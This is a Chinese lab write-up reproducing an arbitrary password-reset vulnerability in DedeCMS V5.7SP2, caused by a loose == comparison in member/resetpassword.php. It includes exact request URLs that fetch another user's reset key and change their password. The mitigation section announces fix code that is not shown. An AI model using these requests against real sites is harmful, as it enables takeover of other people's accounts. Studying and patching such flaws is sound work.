漏洞复现--织梦CMS

声明:请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者和本团队无关。请遵守《中华人民共和国网络安全法》。

一.漏洞简介织梦内容管理系统(DeDeCMS)以其简单、实用、开源的特点而著名。作为国内最知名的PHP开源网站管理系统,它在多年的发展中取得了显著进步,无论在功能还是易用性方面都有长足的发展。该系统广泛应用于中小型企业门户网站、个人网站、企业和学习网站建设。在中国,DedeCMS被认为是最受欢迎的CMS系统之一。但是,最近发现该系统的一个漏洞位于member/resetpassword.php文件中。由于未对接收的参数safeanswer进行严格的类型判断,攻击者可以利用弱类型比较来绕过安全措施。

二.漏洞原理DeDecms V5.7SP2正式版存在一个未修复的漏洞,允许任意用户密码重置。漏洞位于member/resetpassword.php文件中,因未对传入的参数safeanswer进行严格类型检查,导致可使用弱类型比较绕过。在代码分析中,当$dopost等于safequestion时,通过传入的$mid查询用户信息,判断安全问题和答案是否匹配。由于使用 == 而不是 ===,可绕过判断。当安全问题值为0,答案值为空,经过弱类型处理后仍可通过判断。

三.使用工具Burp Suite,PHPStudyPro,VMware

四.靶场搭建织梦CMS V5.7PS2靶场蓝奏云下载:https://wwti.lanzouj.com/iQirO15gp8fg

将解压好的靶场放在PHPStudy的WWW目录下

访问http://ip/DedeCMS-V5.7-UTF8-SP2/uploads/进行安装(直接继续)

进入管理界面进行配置

五.漏洞复现首先注册两个测试账号,以用户名作为密码

直接使用浏览器访问payload(http://ip/DedeCMS-V5.7-UTF8-SP2/uploads/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=3)并抓包获取id=3的账号的key(账号:HengMengTest)

获得key后再访问http://ip/DedeCMS-V5.7-UTF8-SP2/uploads/member/resetpassword.php?dopost=getpasswd&id=3&key=x1ZAUMPg会直接跳转到修改密码界面

将密码修改为HengMeng(与账号HengMeng密码一致)修改成功

密码修改成成功,漏洞复现完成

六.防御策略针对上面 DeDecms任意用户密码重置 漏洞,我们只需要使用 === 来代替 == 就行了。因为 === 操作会同时判断左右两边的值和数据类型是否相等,若有一个不等,即返回 false 。具体修复代码如下:

Copyright © 2088 斗念英雄·卡牌对战活动专区 All Rights Reserved.
友情链接